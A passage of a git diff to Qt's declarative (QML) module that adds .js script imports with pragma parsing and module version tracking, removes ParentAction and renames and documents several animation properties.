*/ + StoreImportedScript, /* storeScript */ StoreScriptString, /* storeScriptString */ // diff --git a/src/declarative/qml/qdeclarativeintegercache.cpp b/src/declarative/qml/qdeclarativeintegercache.cpp index 8fa210f..be36471 100644 --- a/src/declarative/qml/qdeclarativeintegercache.cpp +++ b/src/declarative/qml/qdeclarativeintegercache.cpp @@ -64,6 +64,16 @@ void QDeclarativeIntegerCache::clear() engine = 0; } +QString QDeclarativeIntegerCache::findId(int value) const +{ + for (StringCache::ConstIterator iter = stringCache.begin(); + iter != stringCache.end(); ++iter) { + if (iter.value() && iter.value()->value == value) + return iter.key(); + } + return QString(); +} + void QDeclarativeIntegerCache::add(const QString &id, int value) { Q_ASSERT(!stringCache.contains(id)); diff --git a/src/declarative/qml/qdeclarativeintegercache_p.h b/src/declarative/qml/qdeclarativeintegercache_p.h index b57565e..5fb5a76 100644 --- a/src/declarative/qml/qdeclarativeintegercache_p.h +++ b/src/declarative/qml/qdeclarativeintegercache_p.h @@ -73,6 +73,7 @@ public: inline int count() const; void add(const QString &, int); int value(const QString &); + QString findId(int value) const; inline int value(const QScriptDeclarativeClass::Identifier &id) const; protected: diff --git a/src/declarative/qml/qdeclarativemetatype.cpp b/src/declarative/qml/qdeclarativemetatype.cpp index b32e575..c512d97 100644 --- a/src/declarative/qml/qdeclarativemetatype.cpp +++ b/src/declarative/qml/qdeclarativemetatype.cpp @@ -98,6 +98,13 @@ struct QDeclarativeMetaTypeData typedef QHash<int, QDeclarativeMetaType::StringConverter> StringConverters; StringConverters stringConverters; + struct ModuleInfo { + ModuleInfo(int maj, int min) : vmajor(maj), vminor(min) {} + int vmajor, vminor; + }; + typedef QHash<QByteArray, ModuleInfo> ModuleInfoHash; + ModuleInfoHash modules; + QBitArray objects; QBitArray interfaces; QBitArray lists; @@ -441,9 +448,30 @@ int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterType &t data->objects.setBit(type.typeId, true); if (type.listId) data->lists.setBit(type.listId, true); + if (type.uri) { + QByteArray mod(type.uri); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(mod); + if (it == data->modules.end() + || ((*it).vmajor < type.versionMajor || ((*it).vmajor == type.versionMajor && (*it).vminor < type.versionMinor))) { + data->modules.insert(mod, QDeclarativeMetaTypeData::ModuleInfo(type.versionMajor,type.versionMinor)); + } + } + return index; } +/* + Have any types been registered for \a module with at least versionMajor.versionMinor. +*/ +bool QDeclarativeMetaType::isModule(const QByteArray &module, int versionMajor, int versionMinor) +{ + QDeclarativeMetaTypeData *data = metaTypeData(); + QDeclarativeMetaTypeData::ModuleInfoHash::Iterator it = data->modules.find(module); + return it != data->modules.end() + && ((*it).vmajor > versionMajor || + ((*it).vmajor == versionMajor && (*it).vminor >= versionMinor)); +} + QObject *QDeclarativeMetaType::toQObject(const QVariant &v, bool *ok) { if (!isQObject(v.userType())) { diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 1a36f10..e70b4bf 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -97,6 +97,8 @@ public: typedef QVariant (*StringConverter)(const QString &); static void registerCustomStringConverter(int, StringConverter); static StringConverter customStringConverter(int); + + static bool isModule(const QByteArray &module, int versionMajor, int versionMinor); }; class QDeclarativeTypePrivate; diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp index 51f1660..6e6080e 100644 --- a/src/declarative/qml/qdeclarativeparser.cpp +++ b/src/declarative/qml/qdeclarativeparser.cpp @@ -52,8 +52,6 @@ #include "parser/qdeclarativejsast_p.h" #include "parser/qdeclarativejsengine_p.h" -#include <qfxperf_p_p.h> - #include <QStack> #include <QColor> #include <QPointF> diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h index 9dfb86b..476b027 100644 --- a/src/declarative/qml/qdeclarativeparser_p.h +++ b/src/declarative/qml/qdeclarativeparser_p.h @@ -179,9 +179,16 @@ namespace QDeclarativeParser // Script blocks that were nested under this object struct ScriptBlock { + enum Pragma { + None = 0x00000000, + Shared = 0x00000001 + }; + Q_DECLARE_FLAGS(Pragmas, Pragma) + QStringList codes; QStringList files; QList<int> lineNumbers; + QList<Pragmas> pragmas; }; QList<ScriptBlock> scripts; @@ -360,6 +367,8 @@ namespace QDeclarativeParser }; } +Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeParser::Object::ScriptBlock::Pragmas); + QT_END_NAMESPACE Q_DECLARE_METATYPE(QDeclarativeParser::Variant) diff --git a/src/declarative/qml/qdeclarativescriptparser.cpp b/src/declarative/qml/qdeclarativescriptparser.cpp index fe516c5..49bd3b7 100644 --- a/src/declarative/qml/qdeclarativescriptparser.cpp +++ b/src/declarative/qml/qdeclarativescriptparser.cpp @@ -50,8 +50,6 @@ #include "parser/qdeclarativejsast_p.h" #include "qdeclarativerewrite_p.h" -#include <qfxperf_p_p.h> - #include <QStack> #include <QCoreApplication> #include <QtDebug> @@ -443,8 +441,14 @@ bool ProcessAST::visit(AST::UiImport *node) QDeclarativeScriptParser::Import import; if (node->fileName) { - import.type = QDeclarativeScriptParser::Import::File; uri = node->fileName->asString(); + + if (uri.endsWith(QLatin1String(".js"))) { + import.type = QDeclarativeScriptParser::Import::Script; + _parser->_refUrls << QUrl(uri); + } else { + import.type = QDeclarativeScriptParser::Import::File; + } } else { import.type = QDeclarativeScriptParser::Import::Library; uri = asString(node->importUri); @@ -453,6 +457,7 @@ bool ProcessAST::visit(AST::UiImport *node) AST::SourceLocation startLoc = node->importToken; AST::SourceLocation endLoc = node->semicolonToken; + // Qualifier if (node->importId) { import.qualifier = node->importId->asString(); if (!import.qualifier.at(0).isUpper()) { @@ -463,17 +468,43 @@ bool ProcessAST::visit(AST::UiImport *node) _parser->_errors << error; return false; } + + // Check for script qualifier clashes + bool isScript = import.type == QDeclarativeScriptParser::Import::Script; + for (int ii = 0; ii < _parser->_imports.count(); ++ii) { + const QDeclarativeScriptParser::Import &other = _parser->_imports.at(ii); + bool otherIsScript = other.type == QDeclarativeScriptParser::Import::Script; + + if ((isScript || otherIsScript) && import.qualifier == other.qualifier) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import qualifiers must be unique.")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; + } + } + + } else if (import.type == QDeclarativeScriptParser::Import::Script) { + QDeclarativeError error; + error.setDescription(QCoreApplication::translate("QDeclarativeParser","Script import requires a qualifier")); + error.setLine(node->importIdToken.startLine); + error.setColumn(node->importIdToken.startColumn); + _parser->_errors << error; + return false; } - if (node->versionToken.isValid()) + + if (node->versionToken.isValid()) { import.version = textAt(node->versionToken); - else if (import.type == QDeclarativeScriptParser::Import::Library) { + } else if (import.type == QDeclarativeScriptParser::Import::Library) { QDeclarativeError error; error.setDescription(QCoreApplication::translate("QDeclarativeParser","Library import requires a version")); error.setLine(node->importIdToken.startLine); error.setColumn(node->importIdToken.startColumn); _parser->_errors << error; return false; - } + } + import.location = location(startLoc, endLoc); import.uri = uri; @@ -866,9 +897,6 @@ public: bool QDeclarativeScriptParser::parse(const QByteArray &qmldata, const QUrl &url) { -#ifdef Q_ENABLE_PERFORMANCE_LOG - QDeclarativePerfTimer<QDeclarativePerf::QDeclarativeParsing> pt; -#endif clear(); const QString fileName = url.toString(); @@ -939,6 +967,95 @@ QList<QDeclarativeError> QDeclarativeScriptParser::errors() const return _errors; } +/* +Searches for ".pragma <value>" declarations within \a script. Currently supported pragmas +are: + library +*/ +QDeclarativeParser::Object::ScriptBlock::Pragmas QDeclarativeScriptParser::extractPragmas(QString &script) +{ + QDeclarativeParser::Object::ScriptBlock::Pragmas rv = QDeclarativeParser::Object::ScriptBlock::None; + + const QChar forwardSlash(QLatin1Char('/')); + const QChar star(QLatin1Char('*')); + const QChar newline(QLatin1Char('\n')); + const QChar dot(QLatin1Char('.')); + const QChar semicolon(QLatin1Char(';')); + const QChar space(QLatin1Char(' ')); + const QString pragma(QLatin1String(".pragma ")); + + const QChar *pragmaData = pragma.constData(); + + const QChar *data = script.constData(); + const int length = script.count(); + for (int ii = 0; ii < length; ++ii) { + const QChar &c = data[ii]; + + if (c.isSpace()) + continue; + + if (c == forwardSlash) { + ++ii; + if (ii >= length) + return rv; + + const QChar &c = data[ii]; + if (c == forwardSlash) { + // Find next newline + while (ii < length && data[++ii] != newline) {}; + } else if (c == star) { + // Find next star + while (true) { + while (ii < length && data[++ii] != star) {}; + if (ii + 1 >= length) + return rv; + + if (data[ii + 1] == forwardSlash) { + ++ii; + break; + } + } + } else { + return rv; + } + } else if (c == dot) { + // Could be a pragma! + if (ii + pragma.length() >= length || + 0 != ::memcmp(data + ii, pragmaData, sizeof(QChar) * pragma.length())) + return rv; + + int pragmaStatementIdx = ii; + + ii += pragma.length(); + + while (ii < length && data[ii].isSpace()) { ++ii; } + + int startIdx = ii; + + while (ii < length && data[ii].isLetter()) { ++ii; } + + int endIdx = ii; + + if (ii != length && data[ii] != forwardSlash && !data[ii].isSpace() && data[ii] != semicolon) + return rv; + + QString p(data + startIdx, endIdx - startIdx); + + if (p == QLatin1String("library")) + rv |= QDeclarativeParser::Object::ScriptBlock::Shared; + else + return rv; + + for (int jj = pragmaStatementIdx; jj < endIdx; ++jj) script[jj] = space; + + } else { + return rv; + } + } + + return rv; +} + void QDeclarativeScriptParser::clear() { if (root) { diff --git a/src/declarative/qml/qdeclarativescriptparser_p.h b/src/declarative/qml/qdeclarativescriptparser_p.h index b8f77d1..68f1840 100644 --- a/src/declarative/qml/qdeclarativescriptparser_p.h +++ b/src/declarative/qml/qdeclarativescriptparser_p.h @@ -75,7 +75,7 @@ public: public: Import() : type(Library) {} - enum Type { Library, File }; + enum Type { Library, File, Script }; Type type; QString uri; @@ -112,6 +112,8 @@ public: QList<QDeclarativeError> errors() const; + static QDeclarativeParser::Object::ScriptBlock::Pragmas extractPragmas(QString &); + // ### private: TypeReference *findOrCreateType(const QString &name); void setTree(QDeclarativeParser::Object *tree); diff --git a/src/declarative/qml/qdeclarativetypenamecache.cpp b/src/declarative/qml/qdeclarativetypenamecache.cpp index f94f944..c4a8707 100644 --- a/src/declarative/qml/qdeclarativetypenamecache.cpp +++ b/src/declarative/qml/qdeclarativetypenamecache.cpp @@ -63,6 +63,21 @@ void QDeclarativeTypeNameCache::clear() engine = 0; } +void QDeclarativeTypeNameCache::add(const QString &name, int importedScriptIndex) +{ + if (stringCache.contains(name)) + return; + + QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); + + RData *data = new RData; + // ### Use typename class + data->identifier = ep->objectClass->createPersistentIdentifier(name); + data->importedScriptIndex = importedScriptIndex; + stringCache.insert(name, data); + identifierCache.insert(data->identifier.identifier, data); +} + void QDeclarativeTypeNameCache::add(const QString &name, QDeclarativeType *type) { if (stringCache.contains(name)) diff --git a/src/declarative/qml/qdeclarativetypenamecache_p.h b/src/declarative/qml/qdeclarativetypenamecache_p.h index eee5b77..3e24f5c 100644 --- a/src/declarative/qml/qdeclarativetypenamecache_p.h +++ b/src/declarative/qml/qdeclarativetypenamecache_p.h @@ -73,8 +73,10 @@ public: inline ~Data(); QDeclarativeType *type; QDeclarativeTypeNameCache *typeNamespace; + int importedScriptIndex; }; + void add(const QString &, int); void add(const QString &, QDeclarativeType *); void add(const QString &, QDeclarativeTypeNameCache *); @@ -97,7 +99,7 @@ private: }; QDeclarativeTypeNameCache::Data::Data() -: type(0), typeNamespace(0) +: type(0), typeNamespace(0), importedScriptIndex(-1) { } diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp index 4457404..2338bc3 100644 --- a/src/declarative/qml/qdeclarativevme.cpp +++ b/src/declarative/qml/qdeclarativevme.cpp @@ -61,8 +61,6 @@ #include "qdeclarativeglobal_p.h" #include "qdeclarativescriptstring.h" -#include <qfxperf_p_p.h> - #include <QStack> #include <QWidget> #include <QColor> @@ -72,6 +70,7 @@ #include <QtCore/qdebug.h> #include <QtCore/qvarlengtharray.h> #include <QtCore/qcoreapplication.h> +#include <QtCore/qdatetime.h> QT_BEGIN_NAMESPACE @@ -260,8 +259,9 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack, case QDeclarativeInstruction::CreateComponent: { - QObject *qcomp = new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, - stack.isEmpty() ? 0 : stack.top()); + QDeclarativeComponent *qcomp = + new QDeclarativeComponent(ctxt->engine, comp, ii + 1, instr.createComponent.count, + stack.isEmpty() ? 0 : stack.top()); QDeclarativeDeclarativeData *ddata = QDeclarativeDeclarativeData::get(qcomp, true); Q_ASSERT(ddata); @@ -276,6 +276,8 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack, ddata->lineNumber = instr.line; ddata->columnNumber = instr.create.column; + QDeclarativeComponentPrivate::get(qcomp)->creationContext = ctxt; + stack.push(qcomp); ii += instr.createComponent.count; } @@ -582,6 +584,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack<QObject *> &stack, } break; + case QDeclarativeInstruction::StoreImportedScript: + { + ctxt->addImportedScript(scripts.at(instr.storeScript.value)); + } + break; + case QDeclarativeInstruction::StoreScriptString: { QObject *target = stack.top(); diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp index 10c0b54..a7ed358 100644 --- a/src/declarative/qml/qdeclarativeworkerscript.cpp +++ b/src/declarative/qml/qdeclarativeworkerscript.cpp @@ -201,11 +201,11 @@ QScriptValue QDeclarativeWorkerScriptEnginePrivate::sendMessage(QScriptContext * if (!script) return engine->undefinedValue(); - p->m_lock.lock(); + QMutexLocker(&p->m_lock); + if (script->owner) QCoreApplication::postEvent(script->owner, new WorkerDataEvent(0, scriptValueToVariant(ctxt->argument(0)))); - p->m_lock.unlock(); return engine->undefinedValue(); } diff --git a/src/declarative/util/qdeclarativeanimation.cpp b/src/declarative/util/qdeclarativeanimation.cpp index d47dcc5..c17012c 100644 --- a/src/declarative/util/qdeclarativeanimation.cpp +++ b/src/declarative/util/qdeclarativeanimation.cpp @@ -658,6 +658,37 @@ void QDeclarativeColorAnimation::setTo(const QColor &t) \inherits Animation \brief The ScriptAction element allows scripts to be run during an animation. + ScriptAction can be used to run script at a specific point in an animation. + + \qml + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { script: doSomething(); } + NumberAnimation { ... } + } + \endqml + + When used as part of a Transition, you can also target a specific + StateChangeScript to run using the \c scriptName property. + + \qml + State { + StateChangeScript { + name: "myScript" + script: doStateStuff(); + } + } + ... + Transition { + SequentialAnimation { + NumberAnimation { ... } + ScriptAction { scriptName: "myScript" } + NumberAnimation { ... } + } + } + \endqml + + \sa StateChangeScript */ /*! \internal @@ -698,11 +729,14 @@ void QDeclarativeScriptAction::setScript(const QDeclarativeScriptString &script) } /*! - \qmlproperty QString ScriptAction::stateChangeScriptName + \qmlproperty QString ScriptAction::scriptName This property holds the the name of the StateChangeScript to run. This property is only valid when ScriptAction is used as part of a transition. - If both script and stateChangeScriptName are set, stateChangeScriptName will be used. + If both script and scriptName are set, scriptName will be used. + + \note When using scriptName in a reversible transition, the script will only + be run when the transition is being run forwards. */ QString QDeclarativeScriptAction::stateChangeScriptName() const { @@ -718,6 +752,9 @@ void QDeclarativeScriptAction::setStateChangeScriptName(const QString &name) void QDeclarativeScriptActionPrivate::execute() { + if (hasRunScriptScript && reversing) + return; + QDeclarativeScriptString scriptStr = hasRunScriptScript ? runScriptScript : script; const QString &str = scriptStr.script(); @@ -733,19 +770,18 @@ void QDeclarativeScriptAction::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeScriptAction); Q_UNUSED(modified); - Q_UNUSED(direction); d->hasRunScriptScript = false; + d->reversing = (direction == Backward); for (int ii = 0; ii < actions.count(); ++ii) { QDeclarativeAction &action = actions[ii]; if (action.event && action.event->typeName() == QLatin1String("StateChangeScript") && static_cast<QDeclarativeStateChangeScript*>(action.event)->name() == d->name) { - //### how should we handle reverse direction? d->runScriptScript = static_cast<QDeclarativeStateChangeScript*>(action.event)->script(); d->hasRunScriptScript = true; action.actionDone = true; - break; //assumes names are unique + break; //only match one (names should be unique) } } } @@ -1006,212 +1042,6 @@ void QDeclarativePropertyAction::transition(QDeclarativeStateActions &actions, } } - - -/*! - \qmlclass ParentAction QDeclarativeParentAction - \since 4.7 - \inherits Animation - \brief The ParentAction element allows parent changes during animation. - - ParentAction provides a way to specify at what point in a Transition a ParentChange should - occur. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction {} //reparent myItem now - PropertyAnimation { ... } - } - } - \endqml - - It also provides a way to explicitly reparent an item during an animation. - \qml - SequentialAnimation { - ParentAction { target: myItem; parent: newParent } - PropertyAnimation {} - } - \endqml - - The ParentAction is immediate - it is not animated in any way. -*/ - -QDeclarativeParentAction::QDeclarativeParentAction(QObject *parent) -: QDeclarativeAbstractAnimation(*(new QDeclarativeParentActionPrivate), parent) -{ - Q_D(QDeclarativeParentAction); - d->init(); -} - -QDeclarativeParentAction::~QDeclarativeParentAction() -{ -} - -void QDeclarativeParentActionPrivate::init() -{ - Q_Q(QDeclarativeParentAction); - cpa = new QActionAnimation; - QDeclarative_setParent_noEvent(cpa, q); -} - -/*! - \qmlproperty Item ParentAction::target - - This property holds a target item to reparent. - - In the following example, \c myItem will be reparented by the ParentAction, while - \c myOtherItem will not. - \qml - State { - ParentChange { - target: myItem - parent: newParent - } - ParentChange { - target: myOtherItem - parent: otherNewParent - } - } - Transition { - SequentialAnimation { - PropertyAnimation { ... } - ParentAction { target: myItem } - PropertyAnimation { ... } - } - } - \endqml - - */ -QDeclarativeItem *QDeclarativeParentAction::object() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcTarget; -} - -void QDeclarativeParentAction::setObject(QDeclarativeItem *target) -{ - Q_D(QDeclarativeParentAction); - d->pcTarget = target; -} - -/*! - \qmlproperty Item ParentAction::parent - - The item to reparent to (i.e. the new parent). - */ -QDeclarativeItem *QDeclarativeParentAction::parent() const -{ - Q_D(const QDeclarativeParentAction); - return d->pcParent; -} - -void QDeclarativeParentAction::setParent(QDeclarativeItem *parent) -{ - Q_D(QDeclarativeParentAction); - d->pcParent = parent; -} - -void QDeclarativeParentActionPrivate::doAction() -{ - QDeclarativeParentChange pc; - pc.setObject(pcTarget); - pc.setParent(pcParent); - pc.execute(); -} - -QAbstractAnimation *QDeclarativeParentAction::qtAnimation() -{ - Q_D(QDeclarativeParentAction); - return d->cpa; -} - -void QDeclarativeParentAction::transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction) -{ - Q_D(QDeclarativeParentAction); - Q_UNUSED(modified); - Q_UNUSED(direction); - - struct QDeclarativeParentActionData : public QAbstractAnimationAction - { - QDeclarativeParentActionData(): pc(0) {} - ~QDeclarativeParentActionData() { delete pc; } - - QDeclarativeStateActions actions; - bool reverse; - QDeclarativeParentChange *pc; - virtual void doAction() - { - for (int ii = 0; ii < actions.count(); ++ii) { - const QDeclarativeAction &action = actions.at(ii); - if (reverse) - action.event->reverse(); - else - action.event->execute(); - } - } - }; - - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - - //### need to correctly handle modified/done - - bool hasExplicit = false; - if (d->pcTarget && d->pcParent) { - data->reverse = false; - QDeclarativeAction myAction; - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(d->pcParent); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - hasExplicit = true; - } - - if (!hasExplicit) - for (int ii = 0; ii < actions.count(); ++ii) { - QDeclarativeAction &action = actions[ii]; - - if (action.event && action.event->typeName() == QLatin1String("ParentChange") - && (!d->pcTarget || static_cast<QDeclarativeParentChange*>(action.event)->object() == d->pcTarget)) { - QDeclarativeAction myAction = action; - data->reverse = action.reverseEvent; - //### this logic differs from PropertyAnimation - // (probably a result of modified vs. done) - if (d->pcParent) { - //### should we disallow this case? - QDeclarativeParentChange *pc = new QDeclarativeParentChange; - pc->setObject(d->pcTarget); - pc->setParent(static_cast<QDeclarativeParentChange*>(action.event)->parent()); - myAction.event = pc; - data->pc = pc; - data->actions << myAction; - break; //only match one - } else { - action.actionDone = true; - data->actions << myAction; - } - } - } - - if (data->actions.count()) { - d->cpa->setAnimAction(data, QAbstractAnimation::DeleteWhenStopped); - } else { - delete data; - } -} - - - /*! \qmlclass NumberAnimation QDeclarativeNumberAnimation \since 4.7 @@ -1342,9 +1172,10 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) \brief The RotationAnimation element allows you to animate rotations. RotationAnimation is a specialized PropertyAnimation that gives control - over the direction of rotation. By default, it will rotate - via the shortest path; for example, a rotation from 20 to 340 degrees will - rotation 40 degrees counterclockwise. + over the direction of rotation. By default, it will rotate in the direction + of the numerical change; a rotation from 0 to 240 will rotate 220 degrees + clockwise, while a rotation from 240 to 0 will rotate 220 degrees + counterclockwise. When used in a transition RotationAnimation will rotate all properties named "rotation" or "angle". You can override this by providing @@ -1359,7 +1190,7 @@ void QDeclarativeVector3dAnimation::setTo(QVector3D t) State { name: "-90"; PropertyChanges { target: myItem; rotation: -90 } } } transition: Transition { - RotationAnimation { } + RotationAnimation { direction: RotationAnimation.Shortest } } \endqml */ @@ -1411,7 +1242,7 @@ QDeclarativeRotationAnimation::QDeclarativeRotationAnimation(QObject *parent) { Q_D(QDeclarativeRotationAnimation); d->interpolatorType = QMetaType::QReal; - d->interpolator = reinterpret_cast<QVariantAnimation::Interpolator>(&_q_interpolateShortestRotation); + d->interpolator = QVariantAnimationPrivate::getInterpolator(d->interpolatorType); d->defaultProperties = QLatin1String("rotation,angle"); } @@ -1474,7 +1305,7 @@ void QDeclarativeRotationAnimation::setTo(qreal t) A rotation from 10 to 350 will rotate 20 degrees counterclockwise. \endtable - The default direction is Shortest. + The default direction is Numerical. */ QDeclarativeRotationAnimation::RotationDirection QDeclarativeRotationAnimation::direction() const { @@ -1523,8 +1354,8 @@ void QDeclarativeAnimationGroupPrivate::append_animation(QDeclarativeListPropert { QDeclarativeAnimationGroup *q = qobject_cast<QDeclarativeAnimationGroup *>(list->object); if (q) { - q->d_func()->animations.append(a); a->setGroup(q); + QDeclarative_setParent_noEvent(a->qtAnimation(), q->d_func()->ag); q->d_func()->ag->addAnimation(a->qtAnimation()); } } @@ -2483,7 +2314,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::target() const void QDeclarativeParentAnimation::setTarget(QDeclarativeItem *target) { Q_D(QDeclarativeParentAnimation); + if (target == d->target) + return; + d->target = target; + emit targetChanged(); } /*! @@ -2501,7 +2336,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::newParent() const void QDeclarativeParentAnimation::setNewParent(QDeclarativeItem *newParent) { Q_D(QDeclarativeParentAnimation); + if (newParent == d->newParent) + return; + d->newParent = newParent; + emit newParentChanged(); } /*! @@ -2526,7 +2365,11 @@ QDeclarativeItem *QDeclarativeParentAnimation::via() const void QDeclarativeParentAnimation::setVia(QDeclarativeItem *via) { Q_D(QDeclarativeParentAnimation); + if (via == d->via) + return; + d->via = via; + emit viaChanged(); } //### mirrors same-named function in QDeclarativeItem @@ -2561,10 +2404,10 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, { Q_D(QDeclarativeParentAnimation); - struct QDeclarativeParentActionData : public QAbstractAnimationAction + struct QDeclarativeParentAnimationData : public QAbstractAnimationAction { - QDeclarativeParentActionData() {} - ~QDeclarativeParentActionData() { qDeleteAll(pc); } + QDeclarativeParentAnimationData() {} + ~QDeclarativeParentAnimationData() { qDeleteAll(pc); } QDeclarativeStateActions actions; //### reverse should probably apply on a per-action basis @@ -2582,8 +2425,8 @@ void QDeclarativeParentAnimation::transition(QDeclarativeStateActions &actions, } }; - QDeclarativeParentActionData *data = new QDeclarativeParentActionData; - QDeclarativeParentActionData *viaData = new QDeclarativeParentActionData; + QDeclarativeParentAnimationData *data = new QDeclarativeParentAnimationData; + QDeclarativeParentAnimationData *viaData = new QDeclarativeParentAnimationData; bool hasExplicit = false; if (d->target && d->newParent) { diff --git a/src/declarative/util/qdeclarativeanimation_p.h b/src/declarative/util/qdeclarativeanimation_p.h index eb339f6..33d5c35 100644 --- a/src/declarative/util/qdeclarativeanimation_p.h +++ b/src/declarative/util/qdeclarativeanimation_p.h @@ -72,7 +72,7 @@ class Q_AUTOTEST_EXPORT QDeclarativeAbstractAnimation : public QObject, public Q Q_INTERFACES(QDeclarativePropertyValueSource) Q_PROPERTY(bool running READ isRunning WRITE setRunning NOTIFY runningChanged) Q_PROPERTY(bool paused READ isPaused WRITE setPaused NOTIFY pausedChanged) - Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged()) + Q_PROPERTY(bool alwaysRunToEnd READ alwaysRunToEnd WRITE setAlwaysRunToEnd NOTIFY alwaysRunToEndChanged) Q_PROPERTY(bool repeat READ repeat WRITE setRepeat NOTIFY repeatChanged) Q_CLASSINFO("DefaultMethod", "start()") @@ -163,7 +163,7 @@ class QDeclarativeScriptAction : public QDeclarativeAbstractAnimation Q_DECLARE_PRIVATE(QDeclarativeScriptAction) Q_PROPERTY(QDeclarativeScriptString script READ script WRITE setScript) - Q_PROPERTY(QString stateChangeScriptName READ stateChangeScriptName WRITE setStateChangeScriptName) + Q_PROPERTY(QString scriptName READ stateChangeScriptName WRITE setStateChangeScriptName) public: QDeclarativeScriptAction(QObject *parent=0); @@ -227,32 +227,6 @@ protected: }; class QDeclarativeItem; -class QDeclarativeParentActionPrivate; -class QDeclarativeParentAction : public QDeclarativeAbstractAnimation -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarativeParentAction) - - Q_PROPERTY(QDeclarativeItem *target READ object WRITE setObject) - Q_PROPERTY(QDeclarativeItem *parent READ parent WRITE setParent) //### newParent - -public: - QDeclarativeParentAction(QObject *parent=0); - virtual ~QDeclarativeParentAction(); - - QDeclarativeItem *object() const; - void setObject(QDeclarativeItem *); - - QDeclarativeItem *parent() const; - void setParent(QDeclarativeItem *); - -protected: - virtual void transition(QDeclarativeStateActions &actions, - QDeclarativeProperties &modified, - TransitionDirection direction); - virtual QAbstractAnimation *qtAnimation(); -}; - class QDeclarativePropertyAnimationPrivate; class Q_AUTOTEST_EXPORT QDeclarativePropertyAnimation : public QDeclarativeAbstractAnimation { @@ -456,9 +430,9 @@ class QDeclarativeParentAnimation : public QDeclarativeAnimationGroup Q_OBJECT Q_DECLARE_PRIVATE(QDeclarativeParentAnimation) - Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget) - Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent) - Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia) + Q_PROPERTY(QDeclarativeItem *target READ target WRITE setTarget NOTIFY targetChanged) + Q_PROPERTY(QDeclarativeItem *newParent READ newParent WRITE setNewParent NOTIFY newParentChanged) + Q_PROPERTY(QDeclarativeItem *via READ via WRITE setVia NOTIFY viaChanged) public: QDeclarativeParentAnimation(QObject *parent=0); @@ -473,6 +447,11 @@ public: QDeclarativeItem *via() const; void setVia(QDeclarativeItem *); +Q_SIGNALS: + void targetChanged(); + void newParentChanged(); + void viaChanged(); + protected: virtual void transition(QDeclarativeStateActions &actions, QDeclarativeProperties &modified, @@ -506,7 +485,6 @@ QML_DECLARE_TYPE(QDeclarativeAbstractAnimation) QML_DECLARE_TYPE(QDeclarativePauseAnimation) QML_DECLARE_TYPE(QDeclarativeScriptAction) QML_DECLARE_TYPE(QDeclarativePropertyAction) -QML_DECLARE_TYPE(QDeclarativeParentAction) QML_DECLARE_TYPE(QDeclarativePropertyAnimation) QML_DECLARE_TYPE(QDeclarativeColorAnimation) QML_DECLARE_TYPE(QDeclarativeNumberAnimation) diff --git a/src/declarative/util/qdeclarativeanimation_p_p.h b/src/declarative/util/qdeclarativeanimation_p_p.h index 0460312..decd993 100644 --- a/src/declarative/util/qdeclarativeanimation_p_p.h +++ b/src/declarative/util/qdeclarativeanimation_p_p.h @@ -264,7 +264,7 @@ class QDeclarativeScriptActionPrivate : public QDeclarativeAbstractAnimationPriv Q_DECLARE_PUBLIC(QDeclarativeScriptAction) public: QDeclarativeScriptActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), proxy(this), rsa(0) {} + : QDeclarativeAbstractAnimationPrivate(), hasRunScriptScript(false), reversing(false), proxy(this), rsa(0) {} void init(); @@ -272,6 +272,7 @@ public: QString name; QDeclarativeScriptString runScriptScript; bool hasRunScriptScript; + bool reversing; void execute(); @@ -300,22 +301,6 @@ public: QActionAnimation *spa; }; -class QDeclarativeParentActionPrivate : public QDeclarativeAbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarativeParentAction) -public: - QDeclarativeParentActionPrivate() - : QDeclarativeAbstractAnimationPrivate(), pcTarget(0), pcParent(0) {} - - void init(); - - QDeclarativeItem *pcTarget; - QDeclarativeItem *pcParent; - - void doAction(); - QActionAnimation *cpa; -}; - class QDeclarativeAnimationGroupPrivate : public QDeclarativeAbstractAnimationPrivate { Q_DECLARE_PUBLIC(QDeclarativeAnimationGroup) @@ -369,7 +354,7 @@ class QDeclarativeRotationAnimationPrivate : public QDeclarativePropertyAnimatio { Q_DECLARE_PUBLIC(QDeclarativeRotationAnimation) public: - 